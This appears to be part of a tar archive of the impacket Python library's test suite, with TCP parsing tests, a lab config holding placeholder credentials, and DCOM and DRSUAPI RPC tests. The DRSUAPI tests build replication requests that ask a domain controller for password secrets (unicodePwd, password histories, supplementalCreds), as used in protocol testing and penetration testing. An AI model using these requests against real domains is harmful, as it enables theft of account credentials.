self.assertEqual(self.tcp.get_ECE(), 0)
self.assertEqual(self.tcp.get_CWR(), 1)
self.assertEqual(self.tcp.get_th_flags(), 0xAA )
suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/ImpactPacket/test_TCP_bug_issue7.py 0000700 0000765 0000000 00000002457 12734531507 026015 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from ImpactPacket import TCP, ImpactPacketException
from binascii import hexlify
import unittest
from threading import Thread
class TestTCP(unittest.TestCase):
def setUp(self):
# Dummy TCP header with "Maximum Segment Size" Option and zero length
self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00'
def test_01(self):
'Test TCP options parsing hangs'
class it_hangs(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
try:
frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \
'\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00'
tcp = TCP(frame)
#except Exception,e:
# print "aaaaaaaaaaaaaaa"
# print e
#except Exception,e:
except ImpactPacketException,e:
if str(e) != "'TCP Option length is too low'":
raise e
except:
pass
thread_hangs = it_hangs()
thread_hangs.setDaemon(True)
thread_hangs.start()
thread_hangs.join(1.0) # 1 seconds timeout
self.assertEqual(thread_hangs.isAlive(), False)
#if thread_hang.isAlive():
suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/ 0000700 0000765 0000000 00000000000 12734532622 020366 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/testcases/SMB_RPC/__init__.py 0000600 0000765 0000000 00000000005 12734531507 022475 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/testcases/SMB_RPC/dcetests.cfg 0000600 0000765 0000000 00000000424 12734531507 022670 0 ustar beto wheel 0000000 0000000 [global]
[TCPTransport]
servername =
machine = 172.16.123.232
username = test
password = test
hashes =
aesKey256 =
aesKey128 =
domain =
[SMBTransport]
servername =
machine = 172.16.123.232
username = test
password = test
hashes =
aesKey256 =
aesKey128 =
domain =
impacket-0.9.15/impacket/testcases/SMB_RPC/rundce.sh 0000700 0000765 0000000 00000001044 12734531507 022205 0 ustar beto wheel 0000000 0000000 #!/bin/bash
separator='======================================================================'
#ls *.py | xargs -I{} --max-args=1 bash -c "echo -e '$separator\nExecuting: {}\n';python {}"
#ls *.py | xargs --max-args=1 python
export PYTHONPATH=../../..:$PYTHONPATH
python test_rpcrt.py
python test_scmr.py
python test_epm.py
python test_samr.py
python test_wkst.py
python test_srvs.py
python test_lsad.py
python test_lsat.py
python test_rrp.py
python test_mgmt.py
python test_ndr.py
python test_drsuapi.py
python test_wmi.py
python test_dcomrt.py
impacket-0.9.15/impacket/testcases/SMB_RPC/test_dcomrt.py 0000600 0000765 0000000 00000033036 12734531507 023277 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# Since DCOM is more high level, I'll always use the helper classes
# ServerAlive
# ServerAlive2
# ComplexPing
# SimplePing
# RemoteCreateInstance
# ResolveOxid
# ResolveOxid2
# RemoteActivation
# RemRelease
# RemoteGetClassObject
#
# Not yet:
#
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import dcomrt
from impacket.dcerpc.v5.dcom import scmp, vds, oaut, comev
from impacket.uuid import string_to_bin, uuidtup_to_bin
from impacket import ntlm
class DCOMTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
dce.connect()
return dce, rpctransport
def test_ServerAlive(self):
dce, rpctransport = self.connect()
objExporter = dcomrt.IObjectExporter(dce)
resp = objExporter.ServerAlive()
#resp.dump()
def test_ServerAlive2(self):
dce, rpctransport = self.connect()
objExporter = dcomrt.IObjectExporter(dce)
stringBindings = objExporter.ServerAlive2()
#for binding in stringBindings:
# binding.dump()
def test_ComplexPing_SimplePing(self):
dce, rpctransport = self.connect()
objExporter = dcomrt.IObjectExporter(dce)
resp = objExporter.ComplexPing()
resp = objExporter.SimplePing(resp['pSetId'])
def test_ResolveOxid(self):
dce, rpctransport = self.connect()
scm = dcomrt.IRemoteSCMActivator(dce)
iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)
objExporter = dcomrt.IObjectExporter(dce)
stringBindings = objExporter.ResolveOxid(iInterface.get_oxid(), (7,))
#for binding in stringBindings:
# binding.dump()
def test_ResolveOxid2(self):
dce, rpctransport = self.connect()
#scm = dcomrt.IRemoteSCMActivator(dce)
#iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)
scm = dcomrt.IActivation(dce)
iInterface = scm.RemoteActivation(comev.CLSID_EventSystem, comev.IID_IEventSystem)
objExporter = dcomrt.IObjectExporter(dce)
stringBindings = objExporter.ResolveOxid2(iInterface.get_oxid(), (7,))
#for binding in stringBindings:
# binding.dump()
def test_RemoteActivation(self):
dce, rpctransport = self.connect()
scm = dcomrt.IActivation(dce)
iInterface = scm.RemoteActivation(comev.CLSID_EventSystem, comev.IID_IEventSystem)
def test_RemoteGetClassObject(self):
dce, rpctransport = self.connect()
IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0'))
scm = dcomrt.IRemoteSCMActivator(dce)
iInterface = scm.RemoteGetClassObject(comev.CLSID_EventSystem, IID_IClassFactory)
iInterface.RemRelease()
def test_RemQueryInterface(self):
dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain)
iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)
iEventSystem = comev.IEventSystem(iInterface)
iEventSystem.RemQueryInterface(1, (comev.IID_IEventSystem,))
dcom.disconnect()
def test_RemRelease(self):
dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain)
iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)
iEventSystem = comev.IEventSystem(iInterface)
iEventSystem.RemRelease()
dcom.disconnect()
def test_RemoteCreateInstance(self):
dce, rpctransport = self.connect()
scm = dcomrt.IRemoteSCMActivator(dce)
iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)
def tes_scmp(self):
dce, rpctransport = self.connect()
scm = dcomrt.IRemoteSCMActivator(dce)
iInterface = scm.RemoteCreateInstance(scmp.CLSID_ShadowCopyProvider, scmp.IID_IVssSnapshotMgmt)
iVssSnapshotMgmt = scmp.IVssSnapshotMgmt(iInterface)
#iVssSnapshotMgmt.RemRelease()
iVssEnumMgmtObject = iVssSnapshotMgmt.QueryVolumesSupportedForSnapshots(scmp.IID_ShadowCopyProvider, 31)
resp = iVssEnumMgmtObject.Next(10)
#iVssEnumObject = iVssSnapshotMgmt.QuerySnapshotsByVolume('C:\x00')
#iProviderMgmtInterface = iVssSnapshotMgmt.GetProviderMgmtInterface()
#enumObject =iProviderMgmtInterface.QueryDiffAreasOnVolume('C:\x00')
#iVssSnapshotMgmt.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,))
#iVssSnapshotMgmt.RemAddRef()
#iVssSnapshotMgmt = dcom.hRemoteCreateInstance(dce, scmp.CLSID_ShadowCopyProvider, dcom.IID_IRemUnknown)
#iVssEnumMgmtObject.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,))
def tes_vds(self):
dce, rpctransport = self.connect()
#objExporter = dcom.IObjectExporter(dce)
#objExporter.ComplexPing()
#objExporter.ComplexPing()
scm = dcomrt.IRemoteSCMActivator(dce)
iInterface = scm.RemoteCreateInstance(vds.CLSID_VirtualDiskService, vds.IID_IVdsServiceInitialization)
serviceInitialization = vds.IVdsServiceInitialization(iInterface)
serviceInitialization.Initialize()
iInterface = serviceInitialization.RemQueryInterface(1, (vds.IID_IVdsService,))
vdsService = vds.IVdsService(iInterface)
resp = vdsService.IsServiceReady()
while resp['ErrorCode'] == 1:
print "Waiting.. "
resp = vdsService.IsServiceReady()
vdsService.WaitForServiceReady()
vdsService.GetProperties()
enumObject = vdsService.QueryProviders(1)
interfaces = enumObject.Next(1)
iii = interfaces[0].RemQueryInterface(1, (vds.IID_IVdsProvider,))
provider = vds.IVdsProvider(iii)
resp = provider.GetProperties()
resp.dump()
def tes_oaut(self):
dce, rpctransport = self.connect()
IID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046')
IID_ITypeInfo = string_to_bin('00020401-0000-0000-C000-000000000046')
scm = dcomrt.IRemoteSCMActivator(dce)
iInterface = scm.RemoteCreateInstance(string_to_bin('4E14FBA2-2E22-11D1-9964-00C04FBBB345'), IID_IDispatch)
iDispatch = oaut.IDispatch(iInterface)
kk = iDispatch.GetTypeInfoCount()
kk.dump()
iTypeInfo = iDispatch.GetTypeInfo()
iTypeInfo.GetTypeAttr()
def tes_comev(self):
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain, lmhash, nthash)
iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)
#scm = dcomrt.IRemoteSCMActivator(dce)
#iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)
#iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem,oaut.IID_IDispatch)
iDispatch = oaut.IDispatch(iInterface)
#scm = dcomrt.IRemoteSCMActivator(dce)
#resp = iDispatch.GetIDsOfNames(('Navigate\x00', 'ExecWB\x00'))
#resp.dump()
iEventSystem = comev.IEventSystem(iInterface)
iTypeInfo = iEventSystem.GetTypeInfo()
resp = iTypeInfo.GetTypeAttr()
#resp.dump()
for i in range(1,resp['ppTypeAttr']['cFuncs']):
resp = iTypeInfo.GetFuncDesc(i)
#resp.dump()
resp2 = iTypeInfo.GetNames(resp['ppFuncDesc']['memid'])
#resp2.dump()
resp = iTypeInfo.GetDocumentation(resp['ppFuncDesc']['memid'])
#resp.dump()
#iEventSystem.get_EventObjectChangeEventClassID()
iEventSystem.RemRelease()
iTypeInfo.RemRelease()
objCollection = iEventSystem.Query('EventSystem.EventSubscriptionCollection', 'ALL')
resp = objCollection.get_Count()
count = resp['pCount']
evnObj = objCollection.get_NewEnum()
#for i in range(count-1):
for i in range(3):
iUnknown = evnObj.Next(1)[0]
es = iUnknown.RemQueryInterface(1, (comev.IID_IEventSubscription3,))
es = comev.IEventSubscription3(es)
#es.get_SubscriptionID()
print es.get_SubscriptionName()['pbstrSubscriptionName']['asData']
##es.get_PublisherID()
#es.get_EventClassID()
#es.get_MethodName()
##es.get_SubscriberCLSID()
#es.get_SubscriberInterface()
#es.get_PerUser()
#es.get_OwnerSID()
#es.get_Enabled()
##es.get_Description()
##es.get_MachineName()
##es.GetPublisherProperty()
#es.GetPublisherPropertyCollection()
##es.GetSubscriberProperty()
#es.GetSubscriberPropertyCollection()
#es.get_InterfaceID()
es.RemRelease()
objCollection = iEventSystem.Query('EventSystem.EventClassCollection', 'ALL')
resp = objCollection.get_Count()
count = resp['pCount']
#objCollection.get_Item('EventClassID={D5978630-5B9F-11D1-8DD2-00AA004ABD5E}')
evnObj = objCollection.get_NewEnum()
#for i in range(count-1):
for i in range(3):
iUnknown = evnObj.Next(1)[0]
ev = iUnknown.RemQueryInterface(1, (comev.IID_IEventClass2,))
ev = comev.IEventClass2(ev)
ev.get_EventClassID()
#ev.get_EventClassName()
#ev.get_OwnerSID()
#ev.get_FiringInterfaceID()
#ev.get_Description()
#try:
# ev.get_TypeLib()
#except:
# pass
#ev.get_PublisherID()
#ev.get_MultiInterfacePublisherFilterCLSID()
#ev.get_AllowInprocActivation()
#ev.get_FireInParallel()
ev.RemRelease()
print "="*80
dcom.disconnect()
#eventSubscription.get_SubscriptionID()
def tes_ie(self):
dce, rpctransport = self.connect()
scm = dcomrt.IRemoteSCMActivator(dce)
#iInterface = scm.RemoteCreateInstance(string_to_bin('0002DF01-0000-0000-C000-000000000046'),ie.IID_WebBrowser)
iInterface = scm.RemoteCreateInstance(string_to_bin('72C24DD5-D70A-438B-8A42-98424B88AFB8'),dcomrt.IID_IRemUnknown)
iDispatch = ie.IWebBrowser(iInterface)
resp = iDispatch.GetIDsOfNames(('Navigate',))
print resp
#sys.exit(1)
iTypeInfo = iDispatch.GetTypeInfo()
resp = iTypeInfo.GetTypeAttr()
#resp.dump()
for i in range(0,resp['ppTypeAttr']['cFuncs']):
resp = iTypeInfo.GetFuncDesc(i)
#resp.dump()
#resp2 = iTypeInfo.GetNames(resp['ppFuncDesc']['memid'])
#print resp2['rgBstrNames'][0]['asData']
resp = iTypeInfo.GetDocumentation(resp['ppFuncDesc']['memid'])
print resp['pBstrName']['asData']
#iEventSystem.get_EventObjectChangeEventClassID()
print "ACA"
iTypeInfo.RemRelease()
iDispatch.RemRelease()
sys.exit(1)
class TCPTransport(DCOMTests):
def setUp(self):
DCOMTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class TCPTransport64(DCOMTests):
def setUp(self):
DCOMTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_drsuapi.py 0000600 0000765 0000000 00000052161 12734531507 023456 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# DRSBind
# DRSDomainControllerInfo
# hDRSDomainControllerInfo
# DRSCrackNames
# hDRSCrackNames
# DRSGetNT4ChangeLog
# DRSVerifyName
#
# Not yet:
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5 import drsuapi
from impacket.dcerpc.v5.dtypes import NULL, LPWSTR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class DRSRTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding )
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(drsuapi.MSRPC_UUID_DRSUAPI, transfer_syntax = self.ts)
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN
drs['ConfigObjGUID'] = drsuapi.NULLGUID
drs['dwExtCaps'] = 0
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = dce.request(request)
# Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
# DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
# If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * (
len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
drsExtensionsInt.fromString(ppextServer)
if drsExtensionsInt['dwReplEpoch'] != 0:
# Different epoch, we have to call DRSBind again
drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = dce.request(request)
resp2 = drsuapi.hDRSDomainControllerInfo(dce, resp['phDrs'], self.domain, 2)
return dce, rpctransport, resp['phDrs'], resp2['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
def connect2(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding )
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
#dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(drsuapi.MSRPC_UUID_DRSUAPI, transfer_syntax = self.ts)
return dce, rpctransport
def test_DRSBind(self):
dce, rpctransport, _,_ = self.connect()
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) - 4
drs['dwFlags'] = 0
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0x1234
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN
drs['ConfigObjGUID'] = drsuapi.NULLGUID
drs['dwExtCaps'] = 0
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = dce.request(request)
resp.dump()
extension = drsuapi.DRS_EXTENSIONS_INT('\x00'*4 + ''.join(resp['ppextServer']['rgb'])+'\x00'*4)
extension.dump()
def test_DRSDomainControllerInfo(self):
dce, rpctransport, hDrs, DsaObjDest = self.connect()
request = drsuapi.DRSDomainControllerInfo()
request['hDrs'] = hDrs
request['dwInVersion'] = 1
request['pmsgIn']['tag'] = 1
request['pmsgIn']['V1']['Domain'] = self.domain + '\x00'
request['pmsgIn']['V1']['InfoLevel'] = 1
resp = dce.request(request)
resp.dump()
request['pmsgIn']['V1']['InfoLevel'] = 2
resp = dce.request(request)
resp.dump()
request['pmsgIn']['V1']['InfoLevel'] = 3
resp = dce.request(request)
resp.dump()
request['pmsgIn']['V1']['InfoLevel'] = 0xffffffff
resp = dce.request(request)
resp.dump()
def test_hDRSDomainControllerInfo(self):
dce, rpctransport, hDrs, DsaObjDest = self.connect()
resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 1)
resp.dump()
resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 2)
resp.dump()
resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 3)
resp.dump()
resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 0xffffffff)
resp.dump()
def test_DRSCrackNames(self):
dce, rpctransport, hDrs, DsaObjDest = self.connect()
request = drsuapi.DRSCrackNames()
request['hDrs'] = hDrs
request['dwInVersion'] = 1
request['pmsgIn']['tag'] = 1
request['pmsgIn']['V1']['CodePage'] = 0
request['pmsgIn']['V1']['LocaleId'] = 0
request['pmsgIn']['V1']['dwFlags'] = 0
request['pmsgIn']['V1']['formatOffered'] = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
request['pmsgIn']['V1']['formatDesired'] = drsuapi.DS_USER_PRINCIPAL_NAME_FOR_LOGON
request['pmsgIn']['V1']['cNames'] = 1
name = LPWSTR()
#name['Data'] = 'FREEFLY-DC\x00'
#name['Data'] = 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=FREEFLY,DC=NET\x00'
#name['Data'] = 'CN=FREEFLY-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=FREEFLY,DC=NET\x00'
name['Data'] = 'Administrator\x00'
request['pmsgIn']['V1']['rpNames'].append(name)
resp = dce.request(request)
resp.dump()
def test_hDRSCrackNames(self):
dce, rpctransport, hDrs, DsaObjDest = self.connect()
name = 'Administrator'
formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
formatDesired = drsuapi.DS_STRING_SID_NAME
resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, formatOffered, formatDesired, (name,))
resp.dump()
name = 'CN=NTDS Settings,CN=FREEFLY-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=FREEFLY,DC=NET'
resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, (name,))
resp.dump()
name = 'CN=NTDS Settings,CN=FREEFLY-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=FREEFLY,DC=NET'
resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, drsuapi.DS_STRING_SID_NAME, (name,))
resp.dump()
name = 'FREEFLY.NET'
#name = ''
resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_LIST_ROLES, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, (name,))
resp.dump()
def test_DRSGetNT4ChangeLog(self):
dce, rpctransport, hDrs, DsaObjDest = self.connect()
request = drsuapi.DRSGetNT4ChangeLog()
request['hDrs'] = hDrs
request['dwInVersion'] = 1
request['pmsgIn']['tag'] = 1
request['pmsgIn']['V1']['dwFlags'] = drsuapi.DRS_NT4_CHGLOG_GET_CHANGE_LOG | drsuapi.DRS_NT4_CHGLOG_GET_SERIAL_NUMBERS
request['pmsgIn']['V1']['PreferredMaximumLength'] = 0x4000
request['pmsgIn']['V1']['cbRestart'] = 0
request['pmsgIn']['V1']['pRestart'] = NULL
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') <0:
raise
def test_DRSVerifyNames(self):
dce, rpctransport, hDrs, DsaObjDest = self.connect()
request = drsuapi.DRSVerifyNames()
request['hDrs'] = hDrs
request['dwInVersion'] = 1
request['pmsgIn']['tag'] = 1
request['pmsgIn']['V1']['dwFlags'] = drsuapi.DRS_VERIFY_DSNAMES
request['pmsgIn']['V1']['cNames'] = 1
request['pmsgIn']['V1']['PrefixTable']['pPrefixEntry'] = NULL
dsName = drsuapi.PDSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
name = 'DC=FREEFLY,DC=NET'
dsName['NameLen'] = len(name)
dsName['StringName'] = (name + '\x00')
dsName['structLen'] = len(dsName.getDataReferent())-4
request['pmsgIn']['V1']['rpNames'].append(dsName)
resp = dce.request(request)
resp.dump()
def test_DRSGetNCChanges(self):
# Not yet working
dce, rpctransport, hDrs, DsaObjDest = self.connect()
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = hDrs
request['dwInVersion'] = 8
request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = DsaObjDest
request['pmsgIn']['V8']['uuidInvocIdSrc'] = DsaObjDest
#request['pmsgIn']['V8']['pNC'] = NULL
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
name = 'DC=FREEFLY,DC=NET'
dsName['NameLen'] = len(name)
dsName['StringName'] = (name + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_PER_SYNC #| drsuapi.DRS_CRITICAL_ONLY
request['pmsgIn']['V8']['cMaxObjects'] = 100
request['pmsgIn']['V8']['cMaxBytes'] = 0
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ | drsuapi.EXOP_REPL_SECRETS
prefixTable = []
oid1 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.656') # principalName
oid2 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.221') #'sAMAccountName'
oid3 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.90') # 'unicodePwd'
oid4 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.94') # ntPwdHistory
oid5 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.160') # lmPwdHistory
oid6 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.125') # supplementalCreds
oid7 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.146') # objectSid
request['pmsgIn']['V8']['pPartialAttrSet']['dwVersion'] = 1
request['pmsgIn']['V8']['pPartialAttrSet']['cAttrs'] = 7
request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid1)
request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid2)
request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid3)
request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid4)
request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid5)
request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid6)
request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid7)
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(prefixTable)
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = prefixTable
resp = dce.request(request)
resp.dump()
#moreData = 1
#while moreData > 0:
# thisObject = resp['pmsgOut']['V6']['pObjects']
# done = False
# while not done:
# nextObject = thisObject['pNextEntInf']
# thisObject['pNextEntInf'] = NULL
# thisObject.dump()
# print thisObject['Entinf']['pName']['StringName']
# thisObject = nextObject
# if nextObject is '':
# done = True
# request['pmsgIn']['V8']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']['uuidInvocIdSrc']
# request['pmsgIn']['V8']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']
# resp = dce.request(request)
# moreData = resp['pmsgOut']['V6']['fMoreData']
#print "OBJECTS ", resp['pmsgOut']['V6']['cNumObjects']
def getMoreData(self, dce, request, resp):
while resp['pmsgOut']['V6']['fMoreData'] > 0:
#thisObject = resp['pmsgOut']['V6']['pObjects']
#done = False
#while not done:
# nextObject = thisObject['pNextEntInf']
# thisObject['pNextEntInf'] = NULL
#thisObject.dump()
#print '\n'
#print thisObject['Entinf']['pName']['StringName']
# thisObject = nextObject
# if nextObject is '':
# done = True
request['pmsgIn']['V10']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']
request['pmsgIn']['V10']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']
resp = dce.request(request)
resp.dump()
print '\n'
def test_DRSGetNCChanges2(self):
# Not yet working
dce, rpctransport, hDrs, DsaObjDest = self.connect()
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = hDrs
request['dwInVersion'] = 10
request['pmsgIn']['tag'] =10
request['pmsgIn']['V10']['uuidDsaObjDest'] = DsaObjDest
request['pmsgIn']['V10']['uuidInvocIdSrc'] = drsuapi.NULLGUID
#request['pmsgIn']['V10']['pNC'] = NULL
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
